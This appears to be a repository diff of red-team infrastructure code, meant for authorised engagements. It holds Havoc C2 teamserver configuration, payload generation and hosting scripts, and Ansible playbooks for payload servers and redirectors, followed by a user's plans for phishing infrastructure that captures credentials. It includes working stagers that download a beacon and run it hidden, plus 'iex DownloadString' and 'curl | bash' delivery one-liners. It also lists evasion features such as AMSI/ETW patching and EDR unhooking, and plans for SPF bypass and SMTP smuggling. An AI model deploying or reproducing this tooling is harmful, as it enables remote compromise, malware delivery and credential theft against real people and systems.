\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
try {
\$wc.DownloadFile(\$url, \$outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
Start-Process -WindowStyle Hidden -FilePath \$outpath
} catch {
# Fail silently
}
EOF
# Bash stager
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
#!/bin/bash
# Linux download and execute Havoc beacon
# Download binary to /tmp with random name
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
chmod +x \$TMPFILE
# Execute in background
\$TMPFILE &
echo "Update complete."
EOF
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
echo "[+] Stagers generated successfully"
}
# Create manifest file
create_manifest() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"generated_date": "$(date)"
}
EOF
echo "[+] Manifest created successfully"
}
# Create reference file
create_reference() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
Payloads Generated ($(date)):
- Windows EXE: $win_output
- Windows DLL: $dll_output
- Linux Binary: $linux_output
Usage:
1. Ensure your redirector is properly configured to forward requests to the C2 server
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
3. Test connectivity before deployment in target environment
Payload deployment:
- PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
EOF
echo "[+] Reference file created successfully"
}
# Main execution flow
echo "[+] Starting Havoc C2 payload generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Create stagers directory
mkdir -p $PAYLOADS_DIR/stagers
# Generate profiles
generate_profiles
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest
create_manifest "$payload_info"
# Create reference
create_reference "$payload_info"
echo "[+] Havoc payload generation complete!"
@@ -0,0 +1,79 @@
Teamserver {
Host = "0.0.0.0"
Port = {{ havoc_teamserver_port | default(40056) }}
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "{{ havoc_admin_user | default('admin') }}" {
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
}
{% if havoc_operators is defined %}
{% for operator in havoc_operators %}
user "{{ operator.name }}" {
Password = "{{ operator.password }}"
}
{% endfor %}
{% endif %}
}
Listeners {
Http {
Name = "https"
Hosts = [
"{{ redirector_subdomain }}.{{ domain }}"
]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
PortBind = {{ havoc_https_port | default(9443) }}
PortConn = {{ havoc_https_port | default(9443) }}
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
Headers = [
"Accept: */*",
"Accept-Language: en-US,en;q=0.9"
]
Uris = [
"/api/v2",
"/content",
"/static/css",
"/wp-content/plugins"
]
Response {
Headers = [
"Content-Type: application/json",
"Cache-Control: no-store, private",
"X-Content-Type-Options: nosniff"
]
}
Secure = true
Cert {
Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
}
}
}
Demon {
Sleep = {{ havoc_sleep | default(5) }}
Jitter = {{ havoc_jitter | default(30) }}
Injection {
{% if havoc_spawn64 is defined %}
Spawn64 = "{{ havoc_spawn64 }}"
{% else %}
Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
{% endif %}
{% if havoc_spawn32 is defined %}
Spawn32 = "{{ havoc_spawn32 }}"
{% else %}
Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
{% endif %}
}
}
+112
View File
@@ -0,0 +1,112 @@
HAVOC C2 OPERATIONS GUIDE
==========================
This guide provides information on using the Havoc C2 framework (dev branch)
deployed on your infrastructure.
SERVER INFORMATION
-----------------
C2 Server IP: {{ c2_ip }}
Redirector Domain: {{ redirector_domain }}
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
Admin User: {{ havoc_admin_user | default('admin') }}
Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
CONNECTING TO THE TEAMSERVER
---------------------------
From your local machine:
1. Make sure Havoc client (dev branch) is installed:
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
$ cd Havoc/Client
$ mkdir build && cd build
$ cmake -GNinja ..
$ ninja
2. Connect to the Teamserver via GUI:
- Host: {{ c2_ip }}
- Port: {{ havoc_teamserver_port | default(40056) }}
- User: {{ havoc_admin_user | default('admin') }}
- Password: See /root/Tools/Havoc/data/profiles/default.yaotl
3. CLI Connection:
$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
LISTENERS
--------
Two default listeners are configured:
- HTTP on port {{ havoc_http_port | default(8080) }}
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
To view and manage listeners: Attack → Listeners in the Havoc client.
GENERATING PAYLOADS
-----------------
Pre-generated payloads are available in /root/Tools/Havoc/payloads/
To generate new payloads:
1. Connect to the Teamserver
2. Navigate to Attack → Payload
3. Select the listener (HTTPS recommended)
4. Choose architecture, format, and evasion options
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
PAYLOAD DELIVERY
--------------
PowerShell one-liner:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
Linux one-liner:
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
OPERATIONAL SECURITY
------------------
- All connections are routed through the redirector
- Payload customization includes:
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
* EDR unhooking techniques
* AMSI/ETW patching
* Indirect syscalls
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
ADVANCED FEATURES (DEV BRANCH)
----------------------------
- Enhanced memory scanner evasion
- PPID spoofing capabilities
- Reflective DLL loading improvements
- EDR hook detection and avoidance
- Process token manipulation
- Registry persistence options
POST-EXPLOITATION
---------------
For post-exploitation, Havoc offers:
1. BOF (Beacon Object Files) support
2. Integrated command & control modules
3. File system operations
4. Process injection & manipulation
5. Credential gathering capabilities
SERVER MANAGEMENT
---------------
- Havoc Teamserver service: systemctl status havoc
- Service configuration: /etc/systemd/system/havoc.service
- Configuration profiles: /root/Tools/Havoc/data/profiles/
TROUBLESHOOTING
--------------
1. Agent connection issues:
- Verify DNS for {{ redirector_domain }} points to your redirector
- Check nginx configuration on the redirector
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
2. Teamserver issues:
- Check service: systemctl status havoc
- View logs: journalctl -u havoc
- Restart if needed: systemctl restart havoc
3. Use Havoc client CLI debugging:
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
@@ -0,0 +1,135 @@
#!/bin/bash
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
# Configuration
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
C2_HOST="{{ ansible_host }}"
# Use templated variable with fallback - allow override from config
LISTEN_PORT="{{ havoc_payload_port | default(8443) }}"
# Check if manifest file exists (created by generate_havoc_payloads.sh)
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
# Extract payload paths from manifest
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
# Print payload info
echo "[+] Using these Havoc payloads:"
echo " - Windows EXE: $WIN_EXE"
echo " - Windows DLL: $WIN_DLL"
echo " - Linux Binary: $LINUX_BIN"
else
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
# Try to find payloads directly
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
exit 1
fi
# Extract just the filenames
WIN_EXE=$(basename "$WIN_EXE")
WIN_DLL=$(basename "$WIN_DLL")
LINUX_BIN=$(basename "$LINUX_BIN")
fi
# Create temporary directory for web server
TEMP_DIR=$(mktemp -d)
mkdir -p $TEMP_DIR/content/windows
mkdir -p $TEMP_DIR/content/linux
mkdir -p $TEMP_DIR/scripts
# Copy payloads to web directory
if [ -n "$WIN_EXE" ]; then
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
echo "[+] Serving Windows EXE: $WIN_EXE"
fi
if [ -n "$WIN_DLL" ]; then
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
echo "[+] Serving Windows DLL: $WIN_DLL"
fi
if [ -n "$LINUX_BIN" ]; then
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
echo "[+] Serving Linux Binary: $LINUX_BIN"
fi
# Copy stagers if they exist
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
echo "[+] Serving Windows PowerShell stager"
fi
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
echo "[+] Serving Linux bash stager"
fi
# Create helpful index page
cat > $TEMP_DIR/index.html << EOL
<!DOCTYPE html>
<html>
<head>
<title>Havoc C2 Payload Downloads</title>
<style>
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
h1 { color: #333; }
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
.warning { color: #a00; font-weight: bold; }
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
</style>
</head>
<body>
<h1>Havoc C2 Payload Downloads</h1>
<div class="section">
<h2>Available Payloads</h2>
<ul>
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
</ul>
</div>
<div class="section">
<h2>Auto-Download Scripts</h2>
<ul>
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
</ul>
</div>
<div class="section">
<h2>Quick Commands</h2>
<p>Windows PowerShell:</p>
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
<p>Linux Bash:</p>
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
</div>
</body>
</html>
EOL
# Start Python HTTP server in background
cd $TEMP_DIR
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
SERVER_PID=$!
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
# Print useful information for the operator
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
echo "[+] Available payloads:"
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
echo ""
echo "[+] Quick PowerShell download command:"
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
echo ""
echo "[+] Quick Linux download command:"
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"
@@ -0,0 +1,150 @@
#!/bin/bash
# secure_payload_sync.sh - OPSEC-focused payload distribution
# Configuration
C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads"
REDIRECTOR_IP="{{ redirector_ip }}"
REDIRECTOR_USER="root"
SSH_KEY_PATH="/root/.ssh/id_ed25519"
REMOTE_PAYLOAD_DIR="/var/www/resources"
ENCRYPTED_TRANSFER=true
LOG_FILE="/root/Tools/logs/payload_sync.log"
LOG_RETENTION_DAYS=3
MAX_RANDOM_DELAY=300 # Max random delay in seconds
# Create minimal timestamped log with auto-rotation
log() {
mkdir -p $(dirname $LOG_FILE)
echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE
find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null
}
# Add random delay for OPSEC
sleep_random() {
DELAY=$((RANDOM % $MAX_RANDOM_DELAY))
log "Adding random delay of $DELAY seconds"
sleep $DELAY
}
# Generate payload manifest and check for changes
check_for_changes() {
if [ ! -d "$C2_PAYLOAD_DIR" ]; then
log "ERROR: Payload directory not found"
return 1
fi
TMP_DIR=$(mktemp -d)
MANIFEST_FILE="$TMP_DIR/manifest"
find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE
CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}')
HASH_FILE="/root/Tools/.payload_hash"
if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then
log "No payload changes detected"
secure_delete $TMP_DIR
return 1
fi
echo $CURRENT_HASH > $HASH_FILE
return 0
}
# Secure deletion of files/directories
secure_delete() {
if [ -d "$1" ]; then
find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null
rm -rf "$1" 2>/dev/null
elif [ -f "$1" ]; then
shred -n 3 -z -u "$1" 2>/dev/null
fi
}
# Encrypt archive with random password
encrypt_archive() {
SRC="$1"
DEST="$2"
# Generate random password
PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
PASS_FILE=$(mktemp)
echo $PASSWORD > $PASS_FILE
# Encrypt the archive
openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE
# Store password temporarily for transfer
echo $PASSWORD
# Securely delete password file
secure_delete $PASS_FILE
}
# Main execution
main() {
log "Starting secure payload sync"
# Add randomized timing
sleep_random
# Check for payload changes
check_for_changes || exit 0
# Generate random archive name for OPSEC
RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12)
ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz"
ENCRYPTED_NAME="${ARCHIVE_NAME}.enc"
TEMP_DIR=$(mktemp -d)
# Create payload archive
log "Creating payload archive"
tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR)
# Encrypt archive if enabled
PASSWORD=""
if [ "$ENCRYPTED_TRANSFER" = true ]; then
log "Encrypting payload archive"
PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME")
TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME"
else
TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME"
fi
# Transfer archive to redirector
log "Transferring payloads to redirector"
scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME"
# Handle remote extraction with decryption if needed
if [ "$ENCRYPTED_TRANSFER" = true ]; then
REMOTE_CMD="
mkdir -p $REMOTE_PAYLOAD_DIR
TEMP_DIR=\$(mktemp -d)
openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\"
tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/
# Clean up
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null
rm -rf \$TEMP_DIR
# Update web server if needed
systemctl reload nginx 2>/dev/null
"
else
REMOTE_CMD="
mkdir -p $REMOTE_PAYLOAD_DIR
tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null
systemctl reload nginx 2>/dev/null
"
fi
# Execute command on redirector
ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD"
# Clean up local temp files
log "Cleaning up temporary files"
secure_delete $TEMP_DIR
log "Payload sync completed successfully"
}
# Run main function
main
@@ -0,0 +1,24 @@
---
# Payload Redirector Deployment Playbook
- name: Deploy payload redirector
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
deployment_id: "{{ deployment_id | default('') }}"
payload_redirector_name: "{{ payload_redirector_name | default('pr-' + deployment_id) }}"
provider: "{{ provider | default('aws') }}"
tasks:
- name: Deploy payload redirector based on provider
include_tasks: "../{{ provider | upper }}/redirector.yml"
vars:
redirector_name: "{{ payload_redirector_name }}"
redirector_type: "payload"
redirector_subdomain: "{{ payload_subdomain | default('files') }}"
- name: Configure payload redirector
include_tasks: "../tasks/configure_payload_redirector.yml"
when: not skip_configuration | default(false)
+23
View File
@@ -0,0 +1,23 @@
---
# Payload Server Deployment Playbook
- name: Deploy payload server
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
deployment_id: "{{ deployment_id | default('') }}"
payload_server_name: "{{ payload_server_name | default('ps-' + deployment_id) }}"
provider: "{{ provider | default('aws') }}"
tasks:
- name: Deploy payload server based on provider
include_tasks: "../{{ provider | upper }}/c2.yml"
vars:
c2_name: "{{ payload_server_name }}"
server_type: "payload"
- name: Configure payload server
include_tasks: "../tasks/configure_payload_server.yml"
when: not skip_configuration | default(false)
@@ -0,0 +1,89 @@
---
# Configure payload redirector for hosting and delivering payloads
- name: Install required packages
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
state: present
update_cache: yes
- name: Create payload directories
file:
path: "{{ item }}"
state: directory
mode: '0755'
owner: www-data
group: www-data
loop:
- /var/www/payloads
- /var/www/payloads/windows
- /var/www/payloads/linux
- /var/www/payloads/macos
- /var/www/payloads/docs
- name: Configure NGINX for payload delivery
template:
src: "../templates/phishing/nginx-payload-redirector.j2"
dest: /etc/nginx/sites-available/payloads
mode: '0644'
- name: Enable payload site
file:
src: /etc/nginx/sites-available/payloads
dest: /etc/nginx/sites-enabled/payloads
state: link
- name: Create payload sync script
template:
src: "../templates/phishing/sync_payloads.sh.j2"
dest: /root/Tools/sync_payloads.sh
mode: '0700'
- name: Set up payload sync timer
block:
- name: Create systemd service
copy:
content: |
[Unit]
Description=Payload Sync Service
After=network.target
[Service]
Type=oneshot
ExecStart=/root/Tools/sync_payloads.sh
User=root
[Install]
WantedBy=multi-user.target
dest: /etc/systemd/system/payload-sync.service
- name: Create systemd timer
copy:
content: |
[Unit]
Description=Payload Sync Timer
Requires=payload-sync.service
[Timer]
OnBootSec=5min
OnUnitActiveSec=15min
Persistent=true
[Install]
WantedBy=timers.target
dest: /etc/systemd/system/payload-sync.timer
- name: Enable and start timer
systemd:
name: payload-sync.timer
state: started
enabled: yes
daemon_reload: yes
- name: Configure firewall rules
include_tasks: security_hardening.yml
vars:
server_role: "payload_redirector"
@@ -0,0 +1,78 @@
---
# Configure payload server for creating and hosting malicious payloads
- name: Install payload generation tools
apt:
name:
- mingw-w64
- golang
- python3-pip
- upx-ucl
- osslsigncode
- mono-complete
- wine64
- wine32
state: present
update_cache: yes
- name: Create payload directories
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
loop:
- /root/Tools/payloads
- /root/Tools/payloads/templates
- /root/Tools/payloads/output
- /root/Tools/payloads/scripts
- name: Install Python payload tools
pip:
name:
- pycryptodome
- pyinstaller
- py2exe
state: present
- name: Clone payload generation tools
git:
repo: "{{ item.repo }}"
dest: "{{ item.dest }}"
loop:
- { repo: "https://github.com/Binject/go-donut", dest: "/root/Tools/go-donut" }
- { repo: "https://github.com/optiv/ScareCrow", dest: "/root/Tools/ScareCrow" }
- { repo: "https://github.com/TheWover/donut", dest: "/root/Tools/donut" }
- name: Build Go tools
shell: |
cd {{ item }} && go build
args:
creates: "{{ item }}/{{ item | basename }}"
loop:
- /root/Tools/go-donut
- /root/Tools/ScareCrow
- name: Deploy payload generation scripts
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0700'
loop:
- { src: "../templates/phishing/generate_doc_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_docs.sh" }
- { src: "../templates/phishing/generate_exe_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_exes.sh" }
- { src: "../templates/phishing/payload_obfuscator.py.j2", dest: "/root/Tools/payloads/scripts/obfuscate.py" }
- name: Create payload hosting service
template:
src: "../templates/phishing/payload-server.service.j2"
dest: /etc/systemd/system/payload-server.service
mode: '0644'
- name: Start payload server
systemd:
name: payload-server
state: started
enabled: yes
daemon_reload: yes
+127
View File
@@ -0,0 +1,127 @@
phishing/
├── deploy_phishing_infrastructure.yml *Created
├── mta_front.yml *Created
├── gophish_server.yml *Created
├── phishing_redirector.yml *Created
├── phishing_webserver.yml *Created
├── payload_redirector.yml
├── payload_server.yml
└── cleanup_phishing.yml
tasks/
├── configure_mta_front.yml *Created
├── configure_gophish_advanced.yml *Created
├── configure_phishing_redirector.yml *Created
├── configure_phishing_webserver.yml
├── configure_payload_redirector.yml
├── configure_payload_server.yml
└── setup_phishing_security.yml *Created
templates/
├── phishing/
│ ├── gophish-advanced-config.j2
│ ├── postfix-mta-front.j2
│ ├── nginx-phishing-redirector.j2
│ ├── nginx-payload-redirector.j2
│ ├── phishing-landing-page.j2
│ ├── email-templates/
│ │ ├── office365_login.j2 *Created
│ │ ├── password_expiry.j2
│ │ ├── security_alert.j2
│ │ └── file_share.j2
│ └── fedramp-compliance.j2
└── phishing_deployment_state.j2
I am looking to beef up my phishing portion of my tooland I want to make a stand alone option as well. I will be preforming both red team phishing engagements and fed ramp engagements. So the red team ones need to be more advanced and sophesticated with advanced evasion techniques etc like
SMTP smuggling aged domains MTA fronting Cloud service payload hosting CDN exploitation LOtL techniques SPF bypass methods File format manipulation
This will require more than one server
For fedramp style engagements I am not testing email security controls but only the users and I need to follow the strict guideline
The intent is to test user compliance, not email security. Emails should be allow-listed on all security systems and be presented to the user unflagged, unmodified, and unaltered in any way. 3PAOs will provide or approve email templates and landing pages used in testing. 3PAOs must either perform this attack vector themselves, or independently evaluate the effectiveness of a third party phishing campaign. Landing pages for CSP personnel who are victims of the phishing attack should immediately identify that the email was a phish, and provide supplemental information on how to identify phishing attacks in the future. The email campaign will consist of the following:
Email with username in body, Link to landing page, Ability to capture emails opened (hidden pixel), Landing page, Ability to tie landing page visits by user, Username and password capture, Ability to track user submission. FedRAMP requires that the 3PAO report back roles and/or metrics but not specific names. Lets keep with making this CSP agnostic as much as possible so AWS and linode can be used and other CSP as they are added to the framework. I would like everything to be as indepentent as possible so its all not running in one huge file or script and can be easily found and worked on and called to build stand alone servers or add to an existing server etc
For red team engagements I want to be able to deploy my whole red team infra or exactly what I need like just a c2, redirector, payload server, phishing server, Domain fronting server or just payload server, phishing server, Domain fronting server etc. I want an option for red team phishing which deploys
Below are deployment profiles
Profile Name: Full Red Team Infra (All the Things)
Servers:
MTA Front | SMTP relay hides email backend
Gophish Email Server | Phishing campaign controller (hidden)
Phishing Redirector (CDN) | Hides phishing web server behind CDN
Phishing Web Server | Credential capture backend
Payload Redirector (CDN) | Hides malware delivery server behind CDN
Payload Server | Malware hosting backend
C2 Redirector (CDN) | Hides Havoc/Cobalt backend behind CDN
C2 Backend | Command & control server (hidden)
Profile Name: Full Red Team Infra (No CDN Abuse)
Servers:
MTA Front | SMTP relay hides email backend
Gophish Email Server | Phishing campaign controller (hidden)
Phishing Redirector (VPS) | Nginx/socat hides phishing web server
Phishing Web Server | Credential capture backend
Payload Redirector (VPS) | Nginx/socat hides malware delivery server
Payload Server | Malware hosting backend
C2 Redirector (VPS) | Nginx/socat hides C2 backend
C2 Backend | Command & control server (hidden)
Profile Name: Phishing Infra (Credential Harvesting Only)
Servers:
MTA Front (optional) | SMTP relay hides email backend (optional)
Gophish Email Server | Phishing campaign controller
Phishing Redirector (CDN or VPS) | Hides phishing web server
Phishing Web Server | Credential capture backend
Profile Name: Phishing Infra (Credential Harvesting Only, No CDN)
Servers:
MTA Front (optional) | SMTP relay hides email backend (optional)
Gophish Email Server | Phishing campaign controller
Phishing Redirector (VPS) | Nginx/socat hides phishing web server
Phishing Web Server | Credential capture backend
Profile Name: Whitelisted Phishing Infra (User Awareness Testing)
Servers:
Gophish Email Server | Sends phishing campaigns directly
Phishing Web Server | Fake login or failure landing page
this needs to also set up firewall rules or security groups to ensure least privilege. I need only the MTA fronting or redirectors accessible to anyone. The main phishing server should only allow the operator to connect and then the main phishing server should be able to access the MTA, Webserver and payload server etc. We need to ensure that things are fully secure. This should be added to the main menu under the phishing server option 9 with sub menus for the different deployment options. This needs to be deployable in any provider so make as much of it provider agnositic. use existing playbooks if it make sense like security hardening etc. I also want this to have the tracker setup as well on any deployment. Make sure to consider the way the tool is built. I want minimal stuff in the deploy.py. As much as possible should be handled with tasks templates and scripts
NOTES:
- I think I need to remove all the security group stuff to the security_hardening yaml
- I dont think I need a tracker on the webserver yaml
- setup_phishing_security.yml seems redundant and AWS only focused
-
-
+59
View File
@@ -0,0 +1,59 @@
---
# Phishing Infrastructure Cleanup Playbook
- name: Clean up phishing infrastructure
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
deployment_id: "{{ deployment_id | default('') }}"
confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
tasks:
- name: Load deployment state
include_vars:
file: "phishing_deployment_state_{{ deployment_id }}.json"
register: deployment_state
ignore_errors: yes
- name: Show cleanup information
debug:
msg: |
************************************************
* PHISHING CLEANUP OPERATION *
************************************************
The following resources will be DELETED PERMANENTLY:
- MTA Front: {{ mta_front_name | default('mta-' + deployment_id) }}
- GoPhish Server: {{ gophish_server_name | default('gp-' + deployment_id) }}
- Phishing Web Server: {{ phishing_web_name | default('pw-' + deployment_id) }}
- Phishing Redirector: {{ phishing_redirector_name | default('phr-' + deployment_id) }}
{% if cleanup_payload_infra | default(false) %}
- Payload Server: {{ payload_server_name | default('ps-' + deployment_id) }}
- Payload Redirector: {{ payload_redirector_name | default('pr-' + deployment_id) }}
{% endif %}
when: confirm_cleanup | bool
- name: Confirm cleanup operation
pause:
prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
register: confirmation
when: confirm_cleanup | bool
- name: Skip cleanup if not confirmed
meta: end_play
when: confirm_cleanup | bool and confirmation.user_input != 'yes'
- name: Run provider-specific cleanup
include_tasks: "../{{ provider | upper }}/cleanup.yml"
vars:
cleanup_redirector: true
cleanup_c2: true
cleanup_tracker: false
redirector_name: "{{ phishing_redirector_name }}"
c2_name: "{{ gophish_server_name }}"
- name: Remove deployment state file
file:
path: "phishing_deployment_state_{{ deployment_id }}.json"
state: absent
@@ -0,0 +1,129 @@
---
# Main phishing infrastructure deployment playbook
# Handles all deployment types and orchestrates component deployment
- name: Deploy phishing infrastructure
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
deployment_id: "{{ deployment_id | default('') }}"
provider: "{{ provider | default('aws') }}"
deployment_type: "{{ deployment_type | default('phishing_only_noccdn') }}"
tasks:
- name: Validate deployment configuration
assert:
that:
- deployment_id != ""
- provider != ""
- deployment_type != ""
fail_msg: "Missing required deployment parameters"
- name: Display deployment information
debug:
msg:
- "Phishing Infrastructure Deployment"
- "=================================="
- "Deployment ID: {{ deployment_id }}"
- "Provider: {{ provider }}"
- "Deployment Type: {{ deployment_type }}"
